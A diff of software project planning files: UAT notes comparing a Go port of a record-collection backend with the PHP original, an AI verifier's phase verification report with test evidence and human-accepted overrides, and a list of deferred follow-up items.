- **The frontend's self-echo guard:** `useRealtimeSync.ts` skips the refresh when `payload.actor.user_id === auth.user.id`. Both tabs were logged in as the same user, so the second tab's edit is the first tab's own echo, and it is suppressed on purpose. Against PHP it behaves the same.
|
||||
- **Re-verify:** for a UI refresh, edit from a different user who shares the collection (a household member).
|
||||
|
||||
### Finding D: a cancelled request was logged as a 500 (fixed in the framework)
|
||||
|
||||
- **What was logged:** `GET /_fonoteka/api/v1/genres status=500` at 20:18:34. The client cancelled the request, `classes/active_collection.go:204` failed with `context canceled`, and the handler wrote a 500 that no client received. PHP keeps running after a client disconnect and does not log a server error.
|
||||
- **Fix:** summercms.go `4660f95`. The surf access log records a 5xx written after the request context ended with `context.Canceled` as 499 (client closed request). A real 5xx on a live request keeps its status.
|
||||
- **Tests and docs:** `TestAccessLogClientClosedRequest` covers both cases. The surf README and `docs/services/logging.md` are updated.
|
||||
- **Left as is:** the GORM logger still prints the `context canceled` line in colour; that is the known GORM log noise in `deferred-items.md`.
|
||||
|
||||
### Also fixed during the session follow-up
|
||||
|
||||
- fonoteka.go `807dfdb`: `dev-stack.sh e2e` exports `TMPDIR=tmp/dev-stack/go-tmp`. The session renamed the seeded "Kind of Blue" to "Kind of Blue!", so the next `fonoteka:dev-seed` run in `auth.setup.ts` created a new "Kind of Blue" album and had to write a new cover. It and failed with `invalid cross-device link`. This is the deferred file-bucket issue, now covered on the e2e path too.
|
||||
|
||||
### For the developer to re-verify
|
||||
|
||||
- **Artist field:** open Edit on Blue Train; the field shows John Coltrane.
|
||||
- **Item 7:** upload a photo to an album that has a cover. It appears in the photo strip right away, and the main cover stays the first photo. To make it the main cover, delete the old one.
|
||||
- **Item 9 (optional):** an edit by another household member refreshes the open page.
|
||||
- **Item 11:** the PHP run described in the deferred section.
|
||||
|
||||
### Finding E: `artist_display` stays the same after an artist change (same as PHP)
|
||||
|
||||
- **What happens:** changing an album's artists does not rewrite `artist_display`.
|
||||
- **PHP:** the same. `Album.php` (around line 397) fills `artist_display` only when it is empty.
|
||||
- **Go:** the same. `syncAlbumArtistsFromInput` keeps a non-empty `artist_display` that the request sends; the edit form sends it. It derives the value only when the request omits it or leaves it empty.
|
||||
- No change; the item passes.
|
||||
|
||||
## PHP cross-check (Task 4, item 11)
|
||||
|
||||
The developer ran it on 2026-10-11, together with the coordinator.
|
||||
|
||||
- **Setup:**
|
||||
- Go stack stopped during the run.
|
||||
- PHP through `php artisan serve` on :8422; Nuxt on :3119 pointed at it.
|
||||
- A throwaway PHP user `e2e-go-check@example.com`, created for the run and deleted afterwards (`deleted=1 remaining=0`).
|
||||
- **Specs:** `auth.setup.ts`, `realtime.spec.ts`, `album-edit-rate-cover.spec.ts`, `album-search.spec.ts`, `wishlist.spec.ts`.
|
||||
- **PHP result:** `expected=4 unexpected=2 skipped=0 flaky=0`.
|
||||
- **Go result on the same specs:** all passed.
|
||||
|
||||
The two PHP failures:
|
||||
|
||||
1. **`album-edit-rate-cover`: a fixture artefact on PHP.**
|
||||
- PHP answered `POST /albums/{id}/photos` with a 500. `system.log` shows `TypeError: imagealphablending(): Argument #1 must be of type GdImage, false given` at winter/storm `Database/Attach/Resizer.php:139`.
|
||||
- GD cannot decode the spec's hand-built 1x1 PNG fixture (`PNG_1PX`). GD itself supports PNG, JPEG, WebP and AVIF, and a real photo uploaded through PHP works (manual item 7).
|
||||
- Go accepts the fixture. This is not a Go divergence.
|
||||
2. **`realtime` live: an environment gap on PHP.**
|
||||
- No Centrifugo socket opened within 15 s. The PHP log says `Centrifugo: Skipping publish (not configured)`: the local PHP env has no Centrifugo config.
|
||||
- The realtime baseline test passed on PHP. This is not a Go divergence.
|
||||
|
||||
**Verdict:** item 11 passes. No contract difference between PHP and Go was found. The strict D-11 bar (a clean PHP run) was not met, because the two failures above come from the fixture and from the PHP environment. The developer accepted the classification, and both issues are in `deferred-items.md`.
|
||||
@@ -0,0 +1,253 @@
|
||||
---
|
||||
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
|
||||
verified: 2026-10-12T10:41:00Z
|
||||
status: passed
|
||||
score: 54/54 must-haves verified (5 by override or human verification)
|
||||
covered_files:
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-01-PLAN.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-01-SUMMARY.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-02-PLAN.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-02-SUMMARY.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-03-PLAN.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-03-SUMMARY.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-04-PLAN.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-04-SUMMARY.md
|
||||
- docs/services/logging.md
|
||||
- docs/services/storage.md
|
||||
- docs/setup/configuration.md
|
||||
- modules/surf/README.md
|
||||
- modules/surf/accesslog.go
|
||||
- modules/surf/accesslog_test.go
|
||||
- modules/surf/router.go
|
||||
- modules/surf/uploads.go
|
||||
- modules/surf/uploads_test.go
|
||||
- scripts/check-phase14.2.sh
|
||||
covered_digest: "v2:sha256:458b8aba274a449e0c7fec7aa5776f833f9e2dc54b4b2686e64b625d0e59960c"
|
||||
behavior_unverified: 0
|
||||
overrides_applied: 3
|
||||
overrides:
|
||||
- must_have: "Per D-11, D-16 and D-21, the new and rewritten specs also pass against the PHP backend on :8422 with the app's own PHP-targeted .env"
|
||||
reason: "The PHP run (UAT item 11) gave expected=4 unexpected=2. Both failures were classified as non-contract: the PNG_1PX fixture cannot be decoded by PHP GD (Resizer.php:139), and the local PHP env has no Centrifugo config. Go passed the same specs. Both follow-ups are in deferred-items.md."
|
||||
accepted_by: "developer (14.2-UAT.md item 11, 'The developer accepted the classification')"
|
||||
accepted_at: "2026-10-11T21:04:28Z"
|
||||
- must_have: "TestDevSeedRefusesProduction proves local and dev pass the gate; TestDevMarkerRoute answers 200 for local and dev (D-02; 14.2-01 truths 3 and 7, 14.2-04 truths 2 and 5)"
|
||||
reason: "WR-05: dev is a common name for a shared server; seed, marker and dev-stack.sh accept local only. D-02 amended in 14.2-CONTEXT.md."
|
||||
accepted_by: "developer (orchestrator question after verification)"
|
||||
accepted_at: "2026-10-12T11:01:43Z"
|
||||
- must_have: "http.access_log adds path without its query string only for unmatched requests (D-12; 14.2-01 truth 9, 14.2-04 truth 7)"
|
||||
reason: "WR-01: share and invitation tokens travel in paths; the log records method, pattern, status and duration only. D-12 amended in 14.2-CONTEXT.md."
|
||||
accepted_by: "developer (orchestrator question after verification)"
|
||||
accepted_at: "2026-10-12T11:01:43Z"
|
||||
behavior_unverified_items: []
|
||||
human_verified:
|
||||
- test: "Foreground `dev-stack.sh up`: SIGINT stops Go and Nuxt and removes the pid file"
|
||||
result: "pass: ran by the orchestrator at the developer's request; exit=130, tmp/dev-stack/pids removed, ports 8423 and 3119 free, no fonoteka serve or nuxt dev process left; stack restarted with up --detach"
|
||||
recorded_at: "2026-10-12T11:01:43Z"
|
||||
- test: "Four test-tier prohibitions, checked with commands"
|
||||
result: "pass: (1) `git log df7876b..HEAD -- plugins/golem15/user` in fonoteka.go is empty; (2) vue-fonoteka-app `git status --short` is clean; (3) dev-stack.sh mentions /etc/centrifugo/config.json only in warn text and has no systemctl or publish call; (4) all 54 'E2E ...' albums in fonoteka_go_dev have deleted_at set, i.e. every spec's DELETE ran; soft delete matches PHP (Album.php uses Winter SoftDelete)"
|
||||
recorded_at: "2026-10-12T11:01:43Z"
|
||||
- test: "UAT items 1-11 (login, browse collections/albums, album detail, search, edit, rate, cover upload, wishlist add/remove, realtime, no 5xx/no PHP header, PHP cross-check)"
|
||||
uat_row: "1-11"
|
||||
recorded_at: "2026-10-11T21:04:28Z"
|
||||
note: "Files changed after the UAT (review fixes WR-01..09: accesslog.go, uploads.go, router.go, dev_seed.go, dev-stack.sh, runTinker.ts, realtime.spec.ts) were re-exercised by the gate's Go e2e run e2e-20261012T101126Z (17/0/0/0, started 10:11:27Z, after the last Go commit 261d9bc and the build stamp 09:28:54Z): login with the seed, cover decode through the Nuxt /storage proxy, search, wishlist, realtime subscribe and push. go.log has 0 5xx records. No re-test requested."
|
||||
human_verification: []
|
||||
---
|
||||
|
||||
# Phase 14.2: Local Fonoteka frontend on local SummerCMS backend: Verification Report
|
||||
|
||||
**Phase goal:** A developer runs the existing `vue-fonoteka-app` locally against the local `fonoteka.go` SummerCMS backend (not PHP), logs in, and uses the real Nuxt flows so the port is proven in daily use before production cutover.
|
||||
**Verified:** 2026-10-12T10:41:00Z
|
||||
**Status:** passed (after human verification on 2026-10-12T11:01:43Z: D-02 and D-12 overrides accepted, foreground Ctrl-C cleanup and the four prohibitions checked)
|
||||
**Re-verification:** No (initial verification; no previous VERIFICATION.md)
|
||||
|
||||
The phase goal is achieved in the codebase. All four roadmap success criteria are verified with fresh or post-fix evidence. Nothing blocks. Four items need a human decision: two deliberate contract narrowings from the review fixes (WR-05, WR-01), one cleanup invariant that no test exercises, and four test-tier prohibitions enforced only statically.
|
||||
|
||||
## MVP mode note (warning)
|
||||
|
||||
ROADMAP sets `**Mode:** mvp`, but the goal is not in user-story form. `user-story.validate` returned `valid: false` (no "As a …, I want to …, so that …"). The verifier contract says to refuse in that case. I did not refuse, because the orchestrator asked for goal-backward verification of a phase that was already planned, executed and UAT'd. Instead I read the goal as the implicit story "As a developer, I want to run the Nuxt app against local Go and use its flows, so that the port is proven before cutover". If the MVP framing should stay, run `/msd mvp-phase 14.2` to reformat the goal.
|
||||
|
||||
## User Flow Coverage
|
||||
|
||||
| Step | Expected | Evidence | Status |
|
||||
|------|----------|----------|--------|
|
||||
| Start the stack | One command starts Go and Nuxt, wired to each other | `fonoteka.go/scripts/dev-stack.sh` `up()` (lines 587-650): env, services, build, migrate, seed, reindex, serve, guard, pnpm dev, probe | ✓ |
|
||||
| Log in | The seeded user logs in through the Nuxt proxy to Go | `auth.setup.ts` seeds through `fonoteka:dev-seed` when `E2E_BACKEND=go`; gate e2e 17/0/0/0; UAT item 1 | ✓ |
|
||||
| Browse collections and albums | The collection lists albums with covers; album detail opens | UAT items 2-3 (human); `public-share`, `smoke` and `album-search` specs in the gate; covers served by the framework `/storage` mount | ✓ |
|
||||
| Search | A unique album is found | `album-search.spec.ts` (gate); UAT item 4; go.log 0 `album search engine failed` | ✓ |
|
||||
| Edit, rate, cover | Edit persists, rating persists, cover decodes | `album-edit-rate-cover.spec.ts` (`rating-stars`, `naturalWidth > 0` via `/storage/app/uploads/public/`); UAT items 5-7 | ✓ |
|
||||
| Wishlist add/remove | An entry is added on /wishlist/new and removed | `wishlist.spec.ts` (`wishlist-item-remove`); UAT item 8 | ✓ |
|
||||
| Outcome: port proven, not PHP | Every request reaches Go; failures are visible | guard (`--guard` refusals rerun), pinned `NUXT_INTERNAL_API_ORIGIN`, post-start probe through :3119; go.log 3081 `http request` records, 0 5xx | ✓ |
|
||||
|
||||
## Goal Achievement
|
||||
|
||||
### Roadmap success criteria
|
||||
|
||||
| # | Success criterion | Status | Evidence |
|
||||
|---|-------------------|--------|----------|
|
||||
| SC1 | Documented local run: Nuxt and Go start together; API base URL, cookies and CORS match how the SPA talks to Winter | ✓ VERIFIED | `fonoteka.go/README.md` § "Running locally with the Nuxt app" (ports, prerequisites, Centrifugo operator step, env table, commands, logs, MCP). The SPA keeps its unchanged `nuxt.config.ts` proxy: `NUXT_DEV_BACKEND_ORIGIN` / `NUXT_INTERNAL_API_ORIGIN` = `http://127.0.0.1:8423`, the same mechanism it uses for Winter, so the browser stays same-origin on :3119 (no CORS). The JWT lives in the app's own `auth_token` cookie and the backend sets none (RESEARCH line 110/200). Info: the README never states "cookies and CORS unchanged" in so many words. |
|
||||
| SC2 | A signed-in Go session covers browse collections/albums, search, edit, rate, cover upload, wishlist add/remove | ✓ VERIFIED | Gate report `fonoteka.go/tmp/dev-stack/e2e-20261012T101126Z.json`: expected 17, unexpected 0, skipped 0, flaky 0, over all 10 D-15 gate specs, after the review fixes. Plus human UAT items 1-10, all passed (2026-10-11). |
|
||||
| SC3 | Failures against Go are visible (no silent fall-through to PHP); the local stack does not require the production origin | ✓ VERIFIED | `dev-stack.sh` `guard_origins` / `guard_marker` / `probe`. I reran `check-phase14.2.sh --guard`: php-port, internal-unset, mismatch, production, fake-php and other-marker were all refused, and the control passed. Hosts are loopback only (Go addr, backend origin, Postgres DSN). The marker route is only on Go. The opt-in access log logs method/pattern/status (see the WR-01 human item about the path). |
|
||||
| SC4 | The new glue has tests or a fail-closed check script, delivered in the last plan | ✓ VERIFIED | `summercms.go/scripts/check-phase14.2.sh` (673 lines, plan 04). I reran self-test, go, docs, parity, contracts and guard, and all passed. `--e2e` was last run by the orchestrator after the fixes (the report above). Named tests: console 5, plugin 5, surf 5, all passing. |
|
||||
|
||||
### Plan must-have truths (50) and status
|
||||
|
||||
| Plan | Truths | Verified | Notes |
|
||||
|------|--------|----------|-------|
|
||||
| 14.2-01 | 13 | 12 | ? #9 (access log adds `path` for unmatched requests) superseded by WR-01: path never logged. #3 and #7 ("only when local or dev") still hold literally after the WR-05 narrowing to local only. Backstop #12 (orphan blob never served) and #13 (integer `duration_ms`) have explicit evidence: `TestUploadsMount` targets `uploadsOrphanDisk` and gets a 404, and `TestAccessLog` parses `duration_ms` as a non-negative integer. |
|
||||
| 14.2-02 | 14 | 13 | ⚠️ #12 foreground Ctrl-C/TERM cleanup is PRESENT_BEHAVIOR_UNVERIFIED (traps and `cleanup()` wired; no test). The others are verified by code (`up` order, `check_services`, namespace `history` probe, loopback/8422 rules in `load_env` lines 196-197, env stripping in `start_nuxt`) and by the rerun guard stage. |
|
||||
| 14.2-03 | 10 | 10 (1 by override) | #7 PHP cross-check: PASSED (override); the developer accepted the classification. #8 no `app/` change: `git diff --name-only 984031f..HEAD -- app` is empty, and only `tests/` changed (12 files). #9 operator step: proven by behaviour, since the realtime spec (subscribe on `collection:` without 102, push received) passed with 0 skips. |
|
||||
| 14.2-04 | 13 | 10 | ? #2 and #5 ("local and dev pass the gate", marker 200 for dev) superseded by WR-05. ? #7 ("raw path without query only for an unmatched request") superseded by WR-01. The rest is verified by the reruns. |
|
||||
|
||||
**Score:** 54/54 truths verified after human verification (previously 49/54 (4 roadmap SC plus 50 plan truths; 1 by override). 4 are UNCERTAIN (deliberate contract changes awaiting human acceptance) and 1 is present but behaviour-unverified.)
|
||||
|
||||
### Prohibitions (must-NOT)
|
||||
|
||||
| Prohibition | Tier | Enforcement | Disposition |
|
||||
|-------------|------|-------------|-------------|
|
||||
| Seed opens no DB / writes nothing outside local | test | `TestDevSeedRefusesProduction` (passes; now also refuses `dev`) | ✓ |
|
||||
| No manifest route response change; marker/uploads outside manifest | test | `TestParityCorpus` 175/175/0; `TestDevMarkerRoute` reads `parity/manifest.yaml` | ✓ |
|
||||
| sm-user-plugin not modified | test | none (git evidence only) | ⚠️ flagged: unverified-prohibition |
|
||||
| dev-stack.sh writes nothing in the Nuxt checkout | test | none (code plus clean `git status`) | ⚠️ flagged |
|
||||
| No fall-through to PHP/production; Nuxt only after the guard | test | `--guard` stage (rerun, passed); `up()` runs `guard` before `start_nuxt` | ✓ |
|
||||
| No read/edit/restart of the shared Centrifugo config | test | none (grep: the path appears only in warning text) | ⚠️ flagged |
|
||||
| App keeps working on PHP; no `app/` change; specs run on PHP | test | git diff (no app/), UAT item 11 accepted by the developer | ✓ (human-accepted) |
|
||||
| Specs touch only data they created | test | none (`finally` deletes, Date.now() names) | ⚠️ flagged |
|
||||
| PHP tinker path unchanged when `E2E_BACKEND` is unset | test | `e2e-backend-switch.test.mjs` 10/10; the diff of runTinker.ts/auth.setup.ts is add-only | ✓ |
|
||||
| Gate never passes on a skip | test | `--self-test` (planted skip cases), rerun, passed | ✓ |
|
||||
| Gate never downgrades a missing service or Docker to a pass | test | `--self-test` plus `set -euo pipefail`; services refused in `check_services` | ✓ |
|
||||
|
||||
### Required Artifacts
|
||||
|
||||
| Artifact | Status | Details |
|
||||
|----------|--------|---------|
|
||||
| `summercms.go/modules/surf/uploads.go` | ✓ VERIFIED | 171 lines; `mountUploads` is called in `BuildRouter` after the plugin route loop and before `cabana.Activate` (router.go:554); prefix validation, nosniff, CSP, attachment for non-raster types |
|
||||
| `summercms.go/modules/surf/accesslog.go` | ✓ VERIFIED | 155 lines; wraps the final handler in `compile` (router.go:382-383); `recordPattern` in `wrap` (router.go:453); `markPanicked` in the recoverers |
|
||||
| `fonoteka.go/.../console/dev_seed.go` | ✓ VERIFIED | 559 lines; env gate before any DB open; one `lagoon.Transaction` in `lighthouse.WithoutBroadcasting`; `seedSearch` last |
|
||||
| `fonoteka.go/.../console/database.go` | ✓ VERIFIED | `commandDatabase`/`commandBucket`; used by dev-seed, reindex, oauth-client, prune-notifications |
|
||||
| `fonoteka.go/.../dev_marker.go` | ✓ VERIFIED | `devMarkerRoutes`, called from routes.go:386; registered only when `DevEnvironment` is local; not in the manifest |
|
||||
| `fonoteka.go/scripts/dev-stack.sh` | ✓ VERIFIED | 845 lines; subcommands up/down/status/check/guard/exec/e2e/e2e-verdict/fresh/redact-seed |
|
||||
| `fonoteka.go/.env.dev.example` | ✓ VERIFIED | placeholders only (checked); `.gitignore` has `/.env.dev` and `/storage/app/uploads/public/` |
|
||||
| `fonoteka.go/README.md` run docs | ✓ VERIFIED | § Running locally with the Nuxt app |
|
||||
| `vue-fonoteka-app/tests/e2e/helpers/runTinker.ts` | ✓ VERIFIED | `E2E_BACKEND=go` branch; PHP path add-only |
|
||||
| `vue-fonoteka-app/tests/e2e/{album-edit-rate-cover,album-search,wishlist,realtime}.spec.ts` | ✓ VERIFIED | contain the planned test IDs; conditional `test.skip` guards turn into gate failures through `e2e-verdict` (skipped must be 0) |
|
||||
| `vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs` | ✓ VERIFIED | 10/10 (rerun) |
|
||||
| `summercms.go/scripts/check-phase14.2.sh` | ✓ VERIFIED | all stages present; 6 of 7 rerun green here |
|
||||
| Phase unit tests (dev_seed_test, dev_stack_test, dev_marker_test, uploads_test, accesslog_test) | ✓ VERIFIED | all named tests pass (rerun) |
|
||||
|
||||
### Key Link Verification
|
||||
|
||||
| From | To | Via | Status |
|
||||
|------|----|-----|--------|
|
||||
| surf/router.go | uploads.go | `mountUploads(r, app)` after the routes, before cabana | WIRED |
|
||||
| surf/router.go | accesslog.go | `accessLog` in `compile`, `recordPattern` in `wrap` | WIRED |
|
||||
| fonoteka plugin.go | console/dev_seed.go | `console.DevSeedCommand(p.app)` (plugin.go:298) | WIRED |
|
||||
| dev_seed.go | classes StoreAlbumPhoto / CreateAlbum | inside the seed transaction | WIRED |
|
||||
| reindex/oauth_client/prune_notifications | console/database.go | `commandDatabase` | WIRED |
|
||||
| routes.go | dev_marker.go | `p.devMarkerRoutes(r)` | WIRED |
|
||||
| dev-stack.sh | marker | `MARKER_PATH`, used in guard, `wait_for_marker`, probe | WIRED |
|
||||
| dev-stack.sh | dev-seed | `bin/fonoteka fonoteka:dev-seed` → `seed.out` (mode 600) → probe cover URL | WIRED |
|
||||
| dev-stack.sh | nuxt.config.ts | `NUXT_DEV_BACKEND_ORIGIN` / `NUXT_INTERNAL_API_ORIGIN` env on `pnpm dev` | WIRED |
|
||||
| runTinker.ts | dev-seed | `execFileSync(E2E_GO_BIN, ['fonoteka:dev-seed'])` (contract test) | WIRED |
|
||||
| check-phase14.2.sh | dev-stack.sh | guard/up/fresh/e2e/e2e-verdict | WIRED |
|
||||
|
||||
### Data-Flow Trace (Level 4)
|
||||
|
||||
| Artifact | Data | Source | Real data | Status |
|
||||
|----------|------|--------|-----------|--------|
|
||||
| Uploads route | cover bytes | published `*blob.Bucket` + `system_files` row via `attach.StaticHandlerPublic` | yes (cover decodes in the e2e run; the probe requires image/png) | ✓ FLOWING |
|
||||
| Marker | `{backend,app,env}` | marshalled at registration from `DevEnvironment` | static by design (a marker, not data) | ✓ (intended) |
|
||||
| Access log | method/pattern/status/duration | request plus `statusRecorder` | yes (go.log 3081 records) | ✓ FLOWING |
|
||||
|
||||
### Behavioral Spot-Checks (run by the verifier)
|
||||
|
||||
| Behavior | Command | Result | Status |
|
||||
|----------|---------|--------|--------|
|
||||
| Gate self-test | `bash scripts/check-phase14.2.sh --self-test` | `phase14.2 self-test passed` | ✓ PASS |
|
||||
| Guard refusals | `bash scripts/check-phase14.2.sh --guard` | 6 refusals with the correct reasons, control passed | ✓ PASS |
|
||||
| vet + full Go suites + named tests | `bash scripts/check-phase14.2.sh --go` | `phase14.2 go passed`, exit 0, 0 FAIL lines | ✓ PASS |
|
||||
| Docs | `--docs` | `phase14.2 docs passed` | ✓ PASS |
|
||||
| Parity | `--parity` | `recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0` | ✓ PASS |
|
||||
| Contracts | `--contracts` | blocking 10/10; report-only 288/289 (pre-existing `missing-catalog`) | ✓ PASS |
|
||||
| Surf named tests | `go test ./modules/surf -run 'TestUploadsMount\|TestUploadsResponseHeaders\|TestAccessLog'` | 5 PASS | ✓ PASS |
|
||||
| Seed/command/marker tests | `go test ./console -run 'TestDevSeed\|TestReindexCommand'`; `go test . -run 'TestDevStackSmoke\|…\|TestDevMarkerRoute'` | 10 PASS | ✓ PASS |
|
||||
| Go-gate Playwright subset | `--e2e` | not rerun: the auto-mode classifier denied any interaction with the running stack (status/curl). The latest gate report `e2e-20261012T101126Z.json` is 17/0/0/0, newer than the last Go commit and the build stamp; go.log 0 5xx, 0 search failures; `seed.out` mode 600 | ? recorded evidence |
|
||||
|
||||
### Probe Execution
|
||||
|
||||
No `scripts/*/tests/probe-*.sh` are declared or present for this phase. The phase gate script stands in for a probe and was run as above.
|
||||
|
||||
### Requirements Coverage
|
||||
|
||||
| Requirement | Source Plan | Description | Status | Evidence |
|
||||
|-------------|-------------|-------------|--------|----------|
|
||||
| QA-05 | 14.2-01..04 | Cutover: parity green and vue-fonoteka-app / fonoteka-mcp run unchanged against Go | ✓ SATISFIED (this phase's share) | vue-fonoteka-app runs against Go with no `app/` change; parity 175/175. The fonoteka-mcp leg is documented (token minted, README § MCP) but not exercised here. Full cutover is Phase 20. |
|
||||
|
||||
Info: REQUIREMENTS.md traceability maps QA-05 to "Phase 15 / Complete", while ROADMAP maps it to 14.2 and 20. The traceability row is stale.
|
||||
|
||||
### Decision Coverage
|
||||
|
||||
`check.decision-coverage-verify`: 23/23 CONTEXT decisions honored by the substring heuristic. Two decisions were drifted by the review fixes and are not caught by the heuristic: D-02 ("local/dev") is now local only (WR-05), and D-12 ("records each request's path and status") now records the pattern only, never the path (WR-01). Both are raised as human items.
|
||||
|
||||
### Anti-Patterns Found
|
||||
|
||||
| File | Line | Pattern | Severity | Impact |
|
||||
|------|------|---------|----------|--------|
|
||||
| (phase files) | none | TBD/FIXME/XXX/TODO | none | no debt markers in any phase file |
|
||||
| `modules/surf/uploads_test.go` | helper | `t.Skip` under `-short` only | ℹ️ Info | CLAUDE.md requires it; the gate never runs `-short` and the detector refuses skips |
|
||||
| e2e specs | `test.skip(...)` guards | conditional skips | ℹ️ Info | turned into failures by `e2e-verdict` (skipped must be 0) |
|
||||
| `fonoteka.go/scripts/dev-stack.sh` | 369 | marker check ignores `.app` (IN-06) | ℹ️ Info | any SummerCMS app on the port passes the guard; this is not a PHP fall-through |
|
||||
| `fonoteka.go/scripts/dev-stack.sh` | 215-241 | Postgres loopback check bypassable via `hostaddr`/query `host` (IN-02) | ℹ️ Info | weakens the "local DB only" refusal; open advisory |
|
||||
| `summercms.go/scripts/check-phase14.2.sh` | 51 | hard-coded developer path default (IN-09) | ℹ️ Info | open advisory |
|
||||
|
||||
The 11 open review Info findings (IN-01..IN-11) are advisory. None is a blocker.
|
||||
|
||||
### Human Verification Required
|
||||
|
||||
#### 1. Accept the WR-05 narrowing (`dev` refused)
|
||||
**Test:** Decide whether `SUMMER_ENV=dev` should stay refused by `fonoteka:dev-seed`, the `_dev/backend` marker and `dev-stack.sh`.
|
||||
**Expected:** Override recorded, or D-02 updated to "local only".
|
||||
**Why human:** This changes a locked decision. Plan-04 truths 2 and 5 as written are now false; the tests assert the new rule.
|
||||
|
||||
#### 2. Accept the WR-01 narrowing (no path in the request log)
|
||||
**Test:** Decide whether the Go request log may omit the path of unmatched requests.
|
||||
**Expected:** Override recorded, or D-12 updated. An unported route shows as `status=404 pattern=""`, and the path comes from the browser devtools.
|
||||
**Why human:** This trades away the D-12 diagnostic for token privacy. Plan-01 truth 9 and plan-04 truth 7 as written are now false.
|
||||
|
||||
#### 3. Foreground `up` cleanup
|
||||
**Test:** `scripts/dev-stack.sh up` (foreground), then Ctrl-C; repeat with TERM.
|
||||
**Expected:** Both process groups stop, `tmp/dev-stack/pids` is removed, and the exit code is 130/143.
|
||||
**Why human:** This cleanup invariant is wired but not exercised by any test.
|
||||
|
||||
#### 4. Four statically enforced test-tier prohibitions
|
||||
**Test:** Review the evidence listed in the frontmatter (sm-user-plugin untouched, no writes to the Nuxt checkout, no Centrifugo config access, specs delete only their own data).
|
||||
**Expected:** The developer confirms each, or asks for a gate check.
|
||||
**Why human:** Declared `verification: test` but no test enforces them, so they cannot be green on code reading alone.
|
||||
|
||||
### Suggested overrides (if items 1 and 2 are accepted)
|
||||
|
||||
```yaml
|
||||
overrides:
|
||||
- must_have: "TestDevSeedRefusesProduction proves local and dev pass the gate; TestDevMarkerRoute answers 200 for local and dev"
|
||||
reason: "WR-05: dev is a common name for a shared server; seed, marker and dev-stack.sh accept local only"
|
||||
accepted_by: "<developer>"
|
||||
accepted_at: "<ISO timestamp>"
|
||||
- must_have: "http.access_log adds path without its query string only for unmatched requests"
|
||||
reason: "WR-01: share and invitation tokens travel in paths; the log records method, pattern, status and duration only"
|
||||
accepted_by: "<developer>"
|
||||
accepted_at: "<ISO timestamp>"
|
||||
```
|
||||
|
||||
### Gaps Summary
|
||||
|
||||
No blocking gaps. The local stack, the fail-closed guard, the seed, the framework uploads mount and request log, the Nuxt seed switch, the self-seeding specs and the phase gate all exist, are substantive and wired. Each is backed by passing tests that I reran (except `--e2e`, which is backed by the post-fix gate report), plus an approved manual UAT. The status is `human_needed` rather than `passed` because two review fixes changed locked decisions (D-02, D-12) without a recorded acceptance, one cleanup invariant has no test, and four test-tier prohibitions have only static evidence.
|
||||
|
||||
Further notes, none of them gaps:
|
||||
- `covered_files` lists only summercms.go-root files; the fonoteka.go and vue-fonoteka-app files escape the project root and cannot be fingerprinted.
|
||||
- `14.2-VALIDATION.md` is still `draft` / `nyquist_compliant: false`, left for `/msd-validate-phase 14.2`.
|
||||
- The PHP repo's `vue-fonoteka-app` submodule pointer is not bumped (`M vue-fonoteka-app` in `/media/nvme/dev/golem15/fonoteka`); that is the user's call.
|
||||
- Deferred to Phase 20 or follow-ups (deferred-items.md): fileblob cross-device TMPDIR, Vite cold start before the first e2e, the `PNG_1PX` fixture for PHP GD, the local PHP Centrifugo config, and the framework `lagoon.Validate` empty-pointer gap.
|
||||
|
||||
---
|
||||
|
||||
_Verified: 2026-10-12T10:41:00Z_
|
||||
_Verifier: Claude (msd-verifier)_
|
||||
@@ -0,0 +1,22 @@
|
||||
# Phase 14.2 deferred items
|
||||
|
||||
## From plan 14.2-02
|
||||
|
||||
- **File bucket fails across devices (affects Phase 20 cutover).** With the real `config/storage.yaml` (`file://./storage/app/uploads/public`), gocloud `fileblob` writes each upload to a temporary file in `os.TempDir()` and renames it into the bucket. When `/tmp` is a tmpfs (this machine) the rename fails with `invalid cross-device link`, so `fonoteka:dev-seed` (and any cover upload) fails. `dev-stack.sh` works around it by running the Go processes with `TMPDIR=tmp/dev-stack/go-tmp`. A deployment fix belongs to the framework or the app config (fileblob `no_tmp_dir` URL option, or a TMPDIR on the storage device) and should be decided before cutover. TestDevStackSmoke did not catch it because its bucket lives in the test's temp directory.
|
||||
- **GORM "record not found" log noise in `fonoteka:dev-seed`.** `classes/active_collection.go:243` logs the first, expected lookup miss through GORM's default logger in colour on stderr. Cosmetic; out of scope.
|
||||
|
||||
## From plan 14.2-03
|
||||
|
||||
- **vue-fonoteka-app contract test fails on HEAD before this plan.** `tests/contracts/missing-catalog.test.mjs` ("Album DTO carries label, catalog_number and country without any") matches `\bany\b` against the Album type and trips on the comment "the cheapest current listing in any condition" added by vue-fonoteka-app `984031f` (feat(e5o)). `pnpm test:contracts`: 278 pass, 1 fail. It is an `app/` type comment, which this phase must not change (D-20).
|
||||
- **lagoon.Validate treats a pointer to "" as a value.** `isEmptyValue` returns false for a non-nil `*string` holding "", so a `nullable|in:` model rule fails where Laravel skips every non-implicit rule for an empty string. fonoteka works around it in `albumRuleValues` (fonoteka.go `7675d64`). A framework fix (dereference pointers, or apply Laravel's empty-string skip) would cover other models; it changes `required` semantics for `*string` too, so it needs its own change.
|
||||
- **`tmp/dev-stack/go.log` is appended across `up` runs.** A `grep -c 'status=5..'` over the whole file counts requests from earlier runs. The four 500s from before the empty-format fix were in it until the log was rotated before the Task 4 session; the session log is kept as `go.log.uat-session-20261011`. `up` could truncate or rotate the log.
|
||||
- **Orphan artist rows in the Go dev database.** The specs delete the albums they create, but the artists created with them (`E2E Artist`) stay in `fonoteka_go_dev`. Whether PHP removes orphan artists on album delete was not checked.
|
||||
